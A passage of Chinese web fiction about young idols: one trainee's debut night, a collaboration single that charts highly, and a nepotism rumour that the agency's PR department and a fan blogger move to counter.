SterLa-出道成绩优秀，算是去年出道的新人王，在场的圈内粉丝即使不认识，一说是SterLa-，大多都听说过名字。更有他们的粉丝认出来，激动地在场地尖叫。 江翰飞和于立果眼睛和鼻尖微红，对着摄像头笑着打了个招呼。 时元也看着对面大屏幕上出现的两个人，红红的眼睛笑眯了，嘴角也扯出一个大大的笑。 “除了飞哥和于哥，还有文斌哥还崎哥没法来。当初在公司的时候，是他们一路照顾着我。”时元也想起来当初的维C群，一行几人每天练习争取升级的日子。很累很苦，最难受的是那遥遥望不到头的结果，在没有任何期待中努力，更不知道自己的努力是不是对的，有没有价值。 “走出他们的保护范围后后，我才猛然发现他们将我保护得有多好。” “每次在准备舞台练习到觉得自己爬不起来的时候，我就会想到飞哥他们。” “飞哥在的话，他一定还能再起来练习两遍。没到他觉得好的标准，他就不会停下。想着想着，我就又有力气再爬起来跳上两遍。” “而我每次感觉自己很down的时候也会想到于哥，他跟我说过每个人都有自己的路，如果我们确定了要走某一条，那就先用努力走到这条路的尽头再评判自己有没有天赋。” “我想要感谢的人太多太多，想要感谢的情感也太多太多。我不知道怎么表达才好，但是我真的非常非常非常非常感谢你们。我会一直努力，直到走到这条路的尽头。” “希望在这条路上，我们能一直一起走。” “谢谢大家啦！我是时元，今天我终于出道啦！！”时元开心地喊叫，双手向上打开，尝试着拥抱以后出道的新世界。 说完感言，时元走向属于他的出道位坐下。 今天也是乐狮的丰收日，当时推了7个练习生给节目组，如今9个出道席位中占其三。除了时元，还有当时出道战失败的叔浩浩，以及当年靠脸就成为A级现在卡位出道的方高邈。 九个人站在出道高台上，宣布一个半月后将正式组合出道。 节目的流量自不必说。从决赛直播开始，就一个接一个的热搜就没听过，到最后冠军出道，一个选秀节目横扫二十个热搜词条。其中江翰飞和于立果也占了一个。要不是这导演和唐君君有些交情，哪能这么配合把流量引到他们身上呢？ 出道夜结束，时元直接扑到了站在家属区的他俩身上，“飞哥，于哥，还好你们来了。” “站在上面我脑子都懵了。”时元揽住两人肩膀，“准备好的说辞都没用上。” “说的这么好原来都是临时发挥啊？”于立果装作惊讶的样子，怪声怪气道。 时元站直，不好意思地嘿嘿笑着。 江翰飞理理时元的帽子，“走吧，我们回去再说。” 时元点点头，一边跟正在退场的粉丝们蹦蹦跳跳地挥手道别，一边跟着两位哥退到后台，从后台的地下车库直接回公司。 这车是来接江翰飞和于立果的，时元应该和另外两位出道的同公司选手一起走，但他几个月没见着自己两个哥，现在正是分享欲及其旺盛的时候，就坐上他们的车一道走。 “飞哥，你不知道，方高邈差点和人在里面打起来，吓死我了。”上车开始，时元就开始自动吐八卦，参演时期是禁止带手机和外面通讯的，他老实得很，真就一直没和外面联系。直到上次决赛前举办方给他们发手机说是可以联系家人来看他们才拿到自己的手机。 “还有这个冠军，他超级假的。每次都跟粉丝们卖惨，但是他巧克力都吃Venchi的。”时元撇撇嘴。 他最看不上的就是这个装模作样的冠军，要不是他公司给他营销，还用大前辈帮他宣传拉票，凭他自己估计成不了冠军。 一路上时元都在叭叭说着节目组里的事情，有好的有坏的，还有他第一次上舞台的感受，第一次有粉丝为他举灯牌为他应援的感受。 江翰飞看着目光晶亮，脸颊涨红的时元。 他再次感受到了当初自己第一次拥有粉丝的感觉。 那是一种什么感觉呢？ 当他第一次站在灯光聚焦的出道舞台上，当他有了自己的大吧和超话，当他有了第一个只关注他的摄像头，好像他的每一句话每一个眼神都被注视。那是一种从未有过的莫名的感受。 像是一块干涸了十几年的田，安安静静地偏安一隅，埋头过着自己的生活。突然被一条溪流穿堂而过，溪流的水滋养着他皲裂的土壤，让他们重新吸收水分变得湿润，让枯干草根虬结的干土块变成也能滋生出嫩绿的水草，溪边花丛的土壤。 每次只要他能看见粉丝，他就知道有人在毫无保留的爱他，他的小溪就不会断流。 就像现在的时元一样，真心的感谢着每一位爱他的人，也为此感到开心和兴奋，也明白为什么那么多练习生想要出道和站在舞台上。 即使在走到舞台的聚焦灯下前，有漫长无尽的黑夜需要等待和煎熬。 于立果问时元累不累，正兴奋的时元拍拍胸脯，“我现在感觉自己浑身是劲儿，能再跳一个小时不带歇的！” “哦？那我们待会儿回去了要不先去舞蹈室练练？”于立果拖长了声调逗弄着时元。 “啊——，不，不用了吧？”时元声音越来越低，怂怂地看向江翰飞。 不会真要去练习室吧？飞哥可真能干出这种事儿的。 江翰飞少见地无语半晌，拍拍时元大腿，“回了宿舍好好休息，明天公司该给你派经纪人了。” 时元又嘿嘿笑起来。 今晚出道实在兴奋，但等他到宿舍洗漱完，刚上床握着手机就睡着了。 江翰飞和于立果往自己宿舍回去，路上两人呼出白雾，又到新一年春节。 第49章 时元的春节远比江翰飞他们忙碌，一天休息的时间都没有，回公司第二天还没来得及庆祝，就被要求收拾好行李搬进团队宿舍。 因为定好的出道日期就在一个半月以后。 在这一个半月里，他们需要压缩几个月的准备时间，把MV的拍摄制作，主题曲的联系，专辑制作等全部搞定。 时间匆忙，江翰飞他们竟然还没来得及和时元一起坐下来吃个饭聊聊就又各自忙碌。 江翰飞看着手机里收到的完成版单曲，点击收听。 这是前段时间在拼盘演唱会后，有名的个人创作歌手袁杰老师通过公司向他邀约的合作单曲。 袁杰老师筹备自己的正规六辑已有两三年。其中一首收录歌曲一直没找到合适的合唱人员，本来在苦恼这事儿呢，都在想要不要放弃这首歌了，没想到刚好在拼盘演唱会上听到了江翰飞的声音。 作为一名老流行歌手，袁杰曾经也红极一时，对音乐有自己的理解和坚持。对他来说，他也经历过被小姑娘小伙子疯狂追星，还有直接跑到他家楼下堵他的。但他难以理解的是现在这些追星的跟他们当年不一样，能为了追星做出很多不理智的事情，不是个人，而是群体。 而最重要的是他们追的那个星唱的歌曲实在是，好听一点叫难登大雅之堂，难听一点就是完全的口水歌，有的甚至不能称为歌曲。就这样的歌，却能因为粉丝的支持拿到很好的名次和流量，挤得一些真正在做好歌曲的歌手没有生存空间。 再加上偶尔刷新闻或者听圈内人士聊八卦，对他们这个所谓的偶像群体实在是提不起兴趣，甚至隐隐有些厌恶。每次拼盘演唱会也好，一些音乐节目也好，哪怕是私下的聚会，遇上这些偶像，他都尽量远远避开，减少交流。 但拼盘演唱会上江翰飞的音色和音域完美符合不说，唱歌技巧虽然略微欠缺，但能把男团歌曲唱出自己的情感，他觉得还是很不错的。犹豫再三，约定好后续制作的日期迫在眉睫，还是在演唱会第二天联系了江翰飞的公司，邀请他合唱。 原本复杂长期的单曲制作因为时间紧张，从江翰飞在录音室录完这首歌到现在出来成品，也不过一个月的时间。 袁杰老师的经纪约挂在某个公司名下，但一般除了合同协议以及宣发渠道，专辑相关的事情都是袁杰老师亲自操刀。 就连联系江翰飞这事儿，也是袁杰说要他来就定下了，压根儿没经过他现在挂的经纪公司。不然按照现在的潜规则，江翰飞的公司不提供一些资源置换，是不可能让江翰飞上的。 @制作公司：老师们，这是曲子的成品，请各位老师看看还有没有什么问题呢？ @袁杰：哈哈，我没什么问题，小江唱得挺好[赞大拇指] @江翰飞：谢谢袁杰老师称赞，我也没有问题。 @袁杰：@制作公司那行，你们把这个版本的放进专辑里吧。按照之前确认好的，整张专辑可以开始制作了。 @唐君君：@袁杰袁老师，您这边预计什么时候上线歌曲呢？我们这边也能提供宣传上的配合。 @袁杰：2.25 @唐君君：好的 唐君君收起手机看向江翰飞，“2.25，就是大年之后了。” “袁杰还是勇啊，敢在这个时期发歌。” 春节前后都是新年歌曲的天下，从超市到卖场无处不在。一般不会有人在这个时候发布专辑去碰一鼻子灰。 “2.25宣布，正好这段时间你们没有其他活动安排，年后的三专可以靠这个带带宣传。”唐君君想了想，又说道，“过年两天假期好好休息吧，年后你要把时间留出来，在保证三专制作的前提下配合袁那边的宣传。” 江翰飞点头，“没问题。舞蹈和歌曲我会提前熟悉好的。” 唐君君没多想，还有三四天才到过年放假，以为江翰飞说的是这几天会把舞蹈和歌曲练好。 “那行，没事儿你先回练习室吧。” 江翰飞回到练习室，他们正在休息。 他们已经跟编舞老师学完了整支主题曲的编舞，现在都是吴星雨带着大家练习舞蹈。 “阿飞，没事儿吧？”吴星雨手撑在地板上，仰头问道。 江翰飞摇摇头，“是上次说的合作单曲，已经出来了。” “这么快？！”禹安惊讶，上次江翰飞单独接到电话去了公司，回来就跟他们讲了袁杰邀请他合唱的事儿。 四人‘羡慕嫉妒恨’，毕竟是袁杰啊！一代流行歌手，也是知名制作人老师。光是由他个人制作发布的神曲就好几首。更有许多有他参与操刀制作的高传唱度歌曲，随便放几首，街上一半的人都能跟着哼哼。 “快给我们听听！”禹安兴奋地说，“这可是真正的抢鲜版！” “袁杰老师打算年后发专，所以时间催的紧。”江翰飞一边解释，一边拿出手机把收到的成品给他们听。在正式播放之前，江翰飞又说道，“这个不能外传的。” “知道知道。”禹安拿过江翰飞的手机，“老师还没发专呢，我们外网传不就是泄曲吗？我才不想被告。” 说完就不理江翰飞，几人凑在一起开始听歌。听完一遍还不够，又点重播再反复听。 于立果听了两遍就没听了，走过来站在江翰飞旁边，“那你后面负荷就比较重了。” “一边自己专辑的制作，一边是袁杰老师那边的宣发，能吃得消吗？” “应该可以，春节放假我多练练，后面再抽一点时间没问题的。” 于立果看了江翰飞一眼，他才不信江翰飞会抽‘一点’时间。对江翰飞来说，那一点时间可能就是极限施压自己。在练习生阶段和合宿训练的时候他可是见识过的。 心里暗自记下这事儿，后面得多注意一下江翰飞的作息。 当天晚上，SterLa-的官方账号上发布了两个人的神秘黑色剪影。 这是合作曲或者小分队活动常用的宣发。粉丝们先自己炸一波，奔走相告SterLa-可能要出小分队了。又纷纷化身为现代福尔摩斯，试图从剪影的动作，形态上扒出到底是谁和谁的组合活动。 可扒着扒着，粉丝有点懵逼。 其中一个是江翰飞，剪影的动作来江翰飞一张官方宣传图。可另一个人物他们扒了半天，和其余四人的各种图片一一比较，都不太像。 直到有个粉丝突然在群里说了句，“会不会是和外面的人合作？” 这下粉丝更是炸开锅。 一方面江翰飞的小蝴蝶们普天同庆，纷纷奔走相告江翰飞要有新活动，疑似还是跟外部的人合作。一方面其余四人的粉丝直接想轰了官方账号。 “凭什么好事儿都是他的？” “拜托，他只是主唱，不是你们的爹吧？” “不理解，别人家都是从Top或者是队长开始，你团别具一格，从主唱开始。” “不用你理解，你的小脑发育程度能理解才有鬼。江翰飞团内主唱，论超话粉丝数，站姐数量，神图数量哪样没有碾压你们。还在过刚出道的老黄历呢？” “楼上笑死，超话粉丝数这些都能买好吗？比点真金白银的吧。出道专的销量贡献最大的难道不是禹安吗？真金白银堆出来的你敢否认？” “都说不要过老黄历。刚出道的时候阿飞确实不是Top我们承认，后面追上的时候专辑都断货了，我们上哪儿买？难道后面的咖啡代言直接包场送是假的吗？” “SterLa-几人的感情好是公认的，大家这么吵也很影响各自的路人感官。公司有公司的安排，我们尽量为其余四位成员争取权益不好吗？” “” 网上吵翻了天，在各个男团里粉丝间算得上和谐的SterLa-爆发了第一波唯粉间的战争，团粉在一边看着干着急，想插手也插不上手。 随着几天过去，争吵本来已经快平息。这时候袁杰又开始做宣发。 江翰飞旁边的黑色剪影动作和袁杰的宣发海报动作一模一样。这下直接快熄火的灶倒了一锅热油，其余四家粉丝的怒火彻底压不住了。 眼瞅着就要直接炮轰公司，五人突然齐刷刷地发了几张在海外拼盘演唱会晚上偷溜出去的照片，配上文字：大家新春快乐，要快快乐乐！ 每个人的照片都不一样。照片里都没有自己，只有队友。一看就是自己用手机拍的。 在他们的照片里队友之间勾肩搭背，相互追逐打闹，还有很幼稚地用寒冷天气里的白雾当做烟，做出潇洒抽烟的动作装酷。晚上的路灯把他们的影子拉得或短或长，但总是亲密的挤挤挨挨在一起，往着同一个方向走去。 原本炸裂的粉丝们安静下来。 他们懂自家爱豆的意思了。虽然为他鸣不平，但还是他自己的意愿更重要。如果他爱这个团队，爱他的成员们，那我们也会包容你爱的。 摁灭一波蓄势待发的风浪后，很快就到了袁杰发专辑的日子。 @袁杰：六辑里尝试了许多新的风格，也尝试着和从未接触过的领域的人合作，感觉很新鲜，希望大家喜欢。[专辑封面图][专辑主打曲封面图][专辑歌曲配置] 第50章 通知是中午发的，专辑歌曲音源也是中午十二点准时上线跃音App的。 在袁杰发了博文后，乐狮隔半个小时也发布了关于江翰飞合作曲的宣传博文。 到晚上六点袁杰新专主打曲已经登顶实时收听榜单第一，紧随其后的第三名正是与江翰飞的合作曲。 “牛啊阿飞，实时收听榜已经保持第三好几个小时了，按照这个趋势，你和袁老师这首合作曲有望直接空降前十啊。”于立果划拉着手机上的实时收听榜数据线，声音里充满兴奋。 上次SterLa-出道提前一个多月就开始预热，出道的buff加成，还有后续一系列事件的加成，到最后的成绩也进了Top 100。这对新人偶像团体已经是非常好的名次，但对上袁杰这种流行大佬发歌，还是差距太大，仅仅一首合作曲就能甩得他们看不到尾灯。 哪怕是袁杰目前实时收听榜单排名最差的一首，也保持在前三十内没有下降。一张正规专辑10首歌，全都在前三十内，这影响力和国民度可见一斑。 “是袁杰老师厉害，跟我没关系。”江翰飞认真反驳。 他心里明白，要不是自己正好合了袁杰老师这首歌，自己肯定是够不上袁杰老师的，对方就没和偶像圈内的人接触过。更别提还有合作曲了。 “话也不能这么说。”禹安也走过来，“没有你的加入这首歌也不一定能成啊。” “再说了，万一咱们以后也能靠自己达成这样的成就呢？” “确实。”吴星雨走过来刚想习惯性的把手臂搭在禹安肩膀上，被禹安眼神警告后老实地换了个方向，右手搭上了葛文山的肩膀。 江翰飞就没有说过禹安的时候，“好吧。” “咱才出道半年，路还长呢。”葛文山太高了，吴星雨搭肩膀搭得别扭，放弃。 “好像确实，才出道半年呢。”江翰飞才反应过来，自己是不是心太高，看到老前辈的成绩觉得被打击到。袁杰老师耕耘乐坛这么久，这个成绩才是对的。 而自己的道路才刚刚开始，袁杰老师是正规六辑达到现在的水平，那他们有没有可能在正规六辑，七辑，八辑也能达成这样的成绩呢？ “以后我们也一定可以的。” “这样才对嘛！你可是我们的主唱大人。”于立果搞怪学着粉丝对江翰飞的称呼。 调整完心态的江翰飞看着合作曲一路高歌，一边感慨不愧是袁杰老师，一边也高兴起自己能参与到这首歌的制作中。到晚上睡前，都还时不时摸出手机点开实时榜单曲线页面查询排名情况。 第二天中午十二点结算前一天的音源总量更新日榜。 乐狮公司里的唐君君，在出道艺人食堂一起吃饭的SterLa-，袁杰工作室，还有其他竞对公司们都在关注着这次的结算情况。 袁杰的日榜冠军在今早依旧保持实时收听榜单第一的时候已经确认。他们关注的是合作曲的成绩。 袁杰工作室和其他竞对娱乐公司是万万没有想到，只是一首合作曲，能登上前三的高位。 按照他们的猜想，江翰飞一个刚出道半年的新人，要死忠粉还没有提炼出来，要路人粉还没有长时间和大面积的宣传。哪怕有袁杰带着，合作曲的成绩也不应该能拿到前三，虽然他们听过歌之后确实好听，说不出二话。 但，但 这怎么可以呢？ 按照常理和一般情况来看，不都是应该这种合作曲的成绩要比袁杰自己单人曲的成绩要差吗？ 他得排在所有专辑曲之后才正常。 可偏偏实际不如他们的预期。从这首合作曲登上实时收听榜第三之后就居高不下，甚至偶尔还会抢到第二的前排。 日榜一刷新。 袁杰新专主打曲第一，合作曲第三。 “恭喜阿飞第一首合作单曲空降日榜第三！！” “崽崽你出息了啊啊啊啊！” “大主唱的实力，毋庸置疑！！！” 小蝴蝶们开心得不行。超话里到处都是自发组织的抽奖。 Fly的朱朱更是直接□□1023个跃音的半年度会员，条件宽松，只要没有黑过骂过阿飞，在转发和评论微博夸夸江翰飞的合作曲就可以参与抽奖。 “姐，我唯一的姐。一个半年度会员99，你一出手就是直接十万RMB起步啊？” @Fly-Sterne 回复：因为阿飞的生日是10.23，所以就送1023个啦。希望大家开会员后多多支持袁杰老师的新专辑，尤其要多听几遍袁杰老师和阿飞的合作曲噢[可爱笑]。 “太强了姐，你太强了。” “Fly姐你别太爱。” “求姐姐看看我家的崽吧，也是唱歌超好听的主唱。” @Fly-Sterne 回复：唯粉，不爬墙。 粉丝超话里喜气洋洋，各个公司却各有喜忧。 “这就是你们说的不足为惧？”K家娱乐公司的老板摔了文件，怒气冲冲地问市场部的部长。 当初市场部提交上来的报告说SterLa-虽然专辑销量喜人但是实际音源都是靠外力堆积，不足为俱。 结果先是新人奖被人拿了大头，不是公司走动关系，甚至连汤都分不到。后又有拼盘演唱会反响奇差。排在SterLa-后面出场还是他们自己去走关系安排的，想来一个后来居上，没想到被别人先发制人。对比视频在粉圈里被拿出来反复嘲讽。 老板越想越生气。男团本就靠销量和死忠粉吃饭，这一波接一波，粉圈都被打击成什么样了？ 市场部部长苦着脸不敢说话。这的确是自己的工作失误，当初做市场调查的时候也没想到这个新团能起势得这么快啊？ 脑子一转，他突然想到调查SterLa-时听到的一件事儿。 “老板，我有个想法。” K家和其他家的老板们生气，乐狮的老板就笑得合不拢嘴。 天上掉馅饼自己掉下来的合作，又不用自己置换什么资源，白得一波流量，谁能不高兴？ “不错不错，上次结算已经发给他们了吧？”乐狮老板笑呵呵地问站着的唐君君。 “已经打到他们卡上了。”唐君君闻歌知雅意，“大家都挺开心的。毕竟第一次结算就这么快嘛。” “出道半年能结算也是他们的本事。”乐狮老板点点头，满意唐君君和SterLa-的态度，“好好干，以后的结算会越来越多的。公司也是花了力气培养他们，也不是就看他们一时间的价值。” “以后该有的资源都会有。另外你待会儿找下小刘，就说我的安排，让他再拨几个人给你。” 老板还有其他事儿要忙，不出大事儿不会直接找某个团队的经纪人。这次也是SterLa-的成功直接弥补了乐狮在男团市场新人上两年的空白期。势头发展非常好，几乎比当年Hitting出道的走势还要顺利，如果能推出第二个Hitting，甚至超越Hitting的男团，公司今年的财报就好看了。说不定能靠着新男团抢走其他家的市场份额，直接跻身大型娱乐公司。 一想到未来可能吃下的男团市场份额，老板就笑得合不拢嘴，当即有亲自发了条消息给出道艺人部门的刘部长，让他选几个好的助理和造型师之类的给SterLa。 刘部长当然万分配合。 虽然唐君君之前属于练习生部门，但是调过来了就归他管，出来的业绩当然算他一份。当时让于立果紧急补位的时候还发愁会不会像前一个男团Cilier一样，出道没多久就扑得悄无声息。现在自然是春风得意，半点想不起当时的惆怅，只觉得选他们五个人组合出道真是英明的决定。 一切顺利地到了四月，期间袁杰宣传新专辑，偶尔带着宣传热度第二的合作曲，而SterLa-一直在筹备二专。 幸好袁杰老师的合作单曲需要的宣传配合少，江翰飞需要挪出来配合的时间也不多，让一直暗中记挂着的于立果松了口气 袁杰老师这种大佬们可不会去电视台打歌。 在娱乐圈的歌唱界有着明显的鄙视链：美声歌手=专业歌手>流行歌手>偶像歌手，偶像歌手长期处于鄙视链的底端，并且和前几个有着很厚的壁障。除了几个年轻代歌手，其余的从来不上这种电视台打歌节目，在他们的观念里，上这种打歌舞台等于自降身份。 更多的是去音乐节目或者音乐电台节目做宣传。中间需要江翰飞配合的就只有两个音乐节目。认真说来都不叫让江翰飞配合，而是袁杰老师抬举江翰飞，带着他去这些节目进行宣传。 这种抬举乐狮配合得很。不过唐君君看得远，这边袁杰带着江翰飞上节目，另一边唐君君帮着袁杰活动了两个新的宣发渠道。 虽然袁杰那边没有要求什么资源，但是但凡有点脑子，都不会干出吃白饭这种事。 是吃一次就结束，还是和流行音乐圈的大佬保持长期的关系，细水长流，哪种更有利一目了然。 在SterLa-二专即将上线的前两周，网上突然刮起一阵风。 “爆！去年新人王SterLa-主唱江翰飞竟是空降关系户？！” 50-60 第51章 乐狮娱乐，公司会议室。 大会议室中于部长坐在最上方，旁边是唐君君和公司公关部的人。 时隔两个月，这次的排场比霸凌事件更大。上次的事件虽然事关公司，但总的来说公司也就是监管不力的责任，实际关联责任较少。这次攻击性更强。 “这事儿我们先定一下处理流程。”于部长思索了下，转向公关部部长，“你这边啥意见？“ “根据这次他们放消息的时间线的手法来看。目标很明确，就是借着江翰飞的事情直接攻击整个团队。“公关部部长说道，“因为江翰飞先跟袁杰出了合作单曲，本来SterLa-各个人的唯粉因为这个事情心里不平衡，摩擦严重，已经在网上爆发过一波。” “现在营销号的主要攻击点是‘空降’‘关系户’的名头。实际上从他们的发文来看，目标不止江翰飞一个人，而是想拖着整个团队下水。” “我猜后面还会有后续操作：一是想要借机挑起SterLa-粉丝内部矛盾；二是直接攻击江翰飞坏他名声，如果能逼他退团再好不过；另外如果能再借着这个事情，把SterLa- 现在的势头压下去那就更是大获成功。“ “一箭三雕。” 会议室内安静一片。 公关部部长等大家反应一会儿，意识到问题的严重性，才又接着说到：“现在咱们要破局，首先要搞清楚这件事情的真假，是否真的是空降或者关系户？其次是消息来源，怎么漏出去的？最后是证据，公众不是傻子，只发公告没人会信。我们不确定对方是否有证据的情况下不能轻易开口。” “要是自己把自己的路堵死，后面再出来什么东西可就不好改口了。” 说完公关部部长看向唐君君。她认识唐君君，SterLa-成功自然也带得相关团队一飞冲天，作为主要负责人的唐君君已经在大老板那儿挂上号了。 “如果大众定义的空降是突然加入，那么空降确实有。”唐君君如实说道，“但不是江翰飞，是另一位成员于立果。他是在合宿训练的最后两周紧急补位的。” “但他在公司训练已经两年。从训练时间上看，我想这应该不算空降吧？” 公关部部长很满意唐君君没有隐瞒主动解释的举动。公司里太多脑残，对着他们这些帮他们公关的人还要一瞒二三四，无数次在最后让他们陷入艰难的舆论困境。 “这么说问题不大，如果对方最后牵扯到他身上，我们可以把舆论方向往练习时间上引导。” “关于关系户……”唐君君声音轻了一些，不着痕迹地看了眼最边上的人，谨慎开口，“据我所知，江翰飞绝对不是关系户。他与公司的任何人都没有裙带关系。” 公关部部长却脸色一沉，收回刚刚对唐君君的评价。 唐君君刚刚这明显话里有话，追问道，“噢，那其他人呢？” “据我所知没有。”唐君君镇定开口，声音不急不缓，“如果我确定有我一定会在现在说出来。“ “毕竟就像你说的，不知道对方手里掌握了多少东西。真在后面爆出来，不仅SterLa-不好过，被二次曝出的人估计会受到最大攻击，被直接逼到退团也不是没可能。到时候SterLa-也不是原来的SterLa。” “我作为经纪人当然不想这种事情发生。” 公关部部长了然，“确实，二次发生加实锤的话大众的信任度会降低。想再进行公关就难了。””这样吧，官方账号暂时不要出面，我先让我们手里的营销号和粉丝把江翰飞先摘出来。“ 于部长点点头，“先把这部分处理掉，有情况随时同步。” 老大点头，其他人自然表示赞同。 唐君君跟公关部部长对上眼神，说道，“我待会儿让助理把视频素材和训练基本情况整理好发给你。” 会议迅速结束，公关部部长这边开始安排人手写稿。唐君君也给欣怡发了信息，让她整理相关资料。 两人安排完手下的人先干活，一起走出已经没人的会议室。 “真有关系？”公关部部长问道。 “不确定，但我猜应该是。”唐君君神色颇有些疲惫，她不太擅长处理这种事情，“确定人选之后我撞见过他俩单独聊过。” “虽然确实有关系。但是选人是没问题的，甚至这个人还是我主动提出来让他补位的。” 公关部部长点点头，“那我先等等消息。这次和上次估计不是同一家，这家手段更阴。是直接想摁死你的团。” “没办法。木秀于林，虽然树还小，但谁让它长得快呢。” 公关部部长隐秘地翻了个白眼，不想接茬唐君君暗藏的炫耀。看来她情绪是调整好了，神色都变舒展不少。 公司的公关部接到自家老大消息就开始行动。早先就潜伏进了各大粉丝群和各个论坛小组，每人手上都捏着几十上百个自己养的号。 写好稿件正准备发布就刷到了一条来自江翰飞知名站姐Fly的长文。 【@Fly-Sterne：二专在即，本来在开开心心筹备新专的我们，突然发现网上掀起的一股风浪。 我很理解大家的心情和焦虑，但是恳请大家回忆一下某次舆论风波的情形和最终的结果。不管是还在坚持的小蝴蝶们，还是已经脱粉的曾经的小蝴蝶们，或者是不了解江翰飞但是无恶意的路人朋友们，希望大家能在最终结果出来之前保持冷静将我的博文读完，并等待公司的结果。至于故意带节奏的黑粉和趁机来搅浑水的某家粉丝请滚远一点。 首先从时间上看，已经开了二专的预售链接销售情况如图（P1），刚开五天的预售链接总销量已经超过上次出道专的总量，其中阿飞一个人贡献了接近30%的量。这还没有到后面的简装版专辑冲量的阶段和更后面的签售专阶段。在这个敏感的时间点突然出现这种谣言意欲为何，无需多言。 其次想和大家分享一下我对谣言中提到的关系户和空降的看法。 我只能说绝对不可能！ 但凡了解过SterLa-，去追溯过他们出道时期事情的人都不会相信江翰飞会是个关系户。 官宣成员的时候，江翰飞是非常非常少见的作为主唱却放在最后官宣；而且官宣用的是和出道专概念照一样的照片，还是侧脸照。可以看看当时大家的反应（P2）；打歌期间，可以看看各个队友身上的衣服，再对比一下江翰飞身上的衣服，价格和品牌完全不是一个档次（P3），除了服装，造型也是，队友染头发，做各种潮流造型，只有江翰飞在最后一周的打歌才换了个头发颜色，就是大家熟知的那场西柚粉舞台，就那次也只是染了颜色，没有做其他造型（P4）。 另外，之前签售时期我就发过，第一次签售的时候送了江翰飞一个手机。为什么要送他手机当时没说，现在我想说。可以给大家看看当时江翰飞用的什么手机（P5）。而且就连这个手机都有传闻，是江翰飞自己打工买的。 至于空降的谣传，我只能表示无语。 江翰飞练习生时期的好朋友在综艺里说过和江翰飞认识的时间，按照时间推算，江翰飞练习生时间最少一年。而且好友决赛的时候还专门cue过江翰飞练习生时期的努力（P6）。另外其他队友也在采访中提起过江翰飞练习生时期和他们确定为出道组时期的事情（P7）。 江翰飞绝不可能是所谓的关系户+空降！！！ 他对粉丝一直很真诚。 是上下班路上暖心的话和回应；是每次打歌舞台深深地鞠躬，是签售上明明被公司阻止但还是因为粉丝想所以做了动作的笨拙坚持；是他每次演出之后的饭撒，只要他能看见你的灯牌，就一定会对着你的方向比心。 如果你粉江翰飞你就知道，在他这儿从来不是什么飞蛾扑火一厢情愿，他给你的永远是双向奔赴的回应。 谣言止于智者。 恳请各位在没有确切的实证出来前，保持理智和安静。 感谢所有看到这里的人。 转发+评论这条博文，两天后抽100个人发200现金红包。】 “艹！就知道是有人搞事儿！就是见不得阿飞好！” “看哭了，阿飞一路走来多不容易，却有人想轻易的摧毁掉这一切。” “看到图5的手机是真心疼，难怪当时你要给他送手机。一千块的手机，磨得边框掉漆都没舍得换。” “当时都出道了吧？看着拍的图应该是第四场打歌穿的衣服。” “半年的造谣抵得上人家一年的量，江翰飞你真是太火了。” “签售那事儿当时确实是被公司阻止了，听某些爆瓜的小组说，回去还被公司骂了。” “说的好友是时元吧？他经常提到阿飞，而且一直夸他练习超级努力。时元在节目里的作息大家也都知道，被他称为超级努力，可以想象江翰飞练起来有多拼了。” “我永远相信阿飞，他值得。” “出道粉说句公道话，刚出道的时候，江翰飞的待遇就是最差的，不服来对线，我们拿事实说话。” “出道半年，被泼了多少脏水了？狗公司给我好好保护江翰飞啊！” “别的不说，我相信他。别说他不可能是关系户和空降兵，就算是又怎么样？作为偶像他有哪里做得不好不对的吗？” “” 江翰飞关掉手机里的APP，把手机揣回兜里，抹掉额头上的汗，转身继续加入练习。 第52章 网上的情况越发激烈。 终于在出现爆料的第三天早上，#江翰飞关系户这个词条冲上了热搜前排。 正值早上八点，打工人们挤公交地铁刷手机的时间，再加上关系户这个挑动人心的词，很快引来一大波吃瓜路人。 进入词条的第一条热门博文就是来自某个营销号的视频：年度新人王SterLa-主唱江翰飞疑似空降的关系户？ “这名字看着很眼熟啊，好像是个唱歌的？” “还以为什么关系户呢，原来是你娱乐圈的。” “从来不关注娱乐圈的人点进来一脸懵逼，这是什么意思？空降什么？” “呵呵，难怪其他队友一点资源都分不到，原来是关系户啊。” “劝你善良，浏览过五千可以告你造谣的。” “每次都在发专的时候说被造谣，你们的营销方式能不能有点新意？” “” “部长，那边有动静了。” 乐狮公关部的人这两天一直在密切监控着网上舆论走向，早上突然预警触发了他们设置的监控词，一登上平台就看到了挂在热搜上的词条。 “嗯，再给他们加把火。”公关部部长这两天早把事情安排好，就等着对方上门，“最好把火烧得以后他们都不敢再在这个方向上下手。” “好的，我们的人已经按照事前的安排在网上带风向了。” 在乐狮公关部的二次加持下，江翰飞这条热搜词条直接进入前三。 暗中搞事儿的人笑得开心，认为天助他也。 而小蝴蝶们被急得团团转，在网上焦虑江翰飞看到的感受，一边大骂公司不作为。 吴星雨过来搭上江翰飞的肩膀。正在刷手机的江翰飞被吓了一跳，赶紧按熄手机屏幕。 可惜还是晚了一步，在按熄之前吴星雨看见了营销号视频封面硕大的几个字：主唱？空降？关系户？ 他们又没断网，早在这个谣言刚起来的时候他们就看见过，当时禹安就想直接发文骂那些什么都不知道就瞎逼逼的营销号，被一旁的于立果拦住。吴星雨当场打电话给唐君君，说是刚开完会，公司会处理，让他们先别动。 “别看他们瞎逼逼，我认识你不比他们早？”吴星雨拍拍江翰飞肩膀，用无所谓的语气和江翰飞说，“我看你在亭子里练舞的时候他们这些喷子还不知道在哪儿赚黑心钱呢。” 江翰飞感受着来自队友的好意，想到当初问吴星雨为什么会在健身房跟自己搭话，还帮自己。对方才说其实早在他还是个C级练习生，在凉亭苦练舞蹈的时候就见过他，觉得他很努力才想拉一把的。 眨眼笑笑，“没事的哥，我就是看看。其实现在这些路人的话对我没什么影响，反正我也不认识他们。” “我的粉丝都还信我呢。” “这就对了嘛！”吴星雨高兴起来。 “对个毛线。”禹安走过来，努力克制住自己翻白眼的冲动，他一直对江翰飞对粉丝的态度有些忧虑，“粉丝是把双刃剑，离太近，他们脱粉的时候你受伤也深。” 吴星雨急，负面舆论这么严重的时候你跟江翰飞说这些干什么呢？ 刚想张嘴反驳，就听江翰飞说，“没关系的。“ “我知道粉丝都会来来往往，也许某个瞬间就不喜欢我了，我觉得很正常。” 江翰飞认真地说，“就像我小时候见别人用的漂亮封面的笔记本，我很喜欢。当我买到这个笔记本，刚开始可能珍惜又喜欢，后面慢慢地就没那么喜欢了，会觉得它和其他本子没什么差别。” “这很正常。” “但如果我很久以后再回想起这件事，首先想到的是我当时对那个笔记本的喜欢，和拿到之后的珍惜的心情。” “如果能在一个人的一段时光里，让他产生喜欢，珍惜的心情，我觉得已经非常非常好了。” 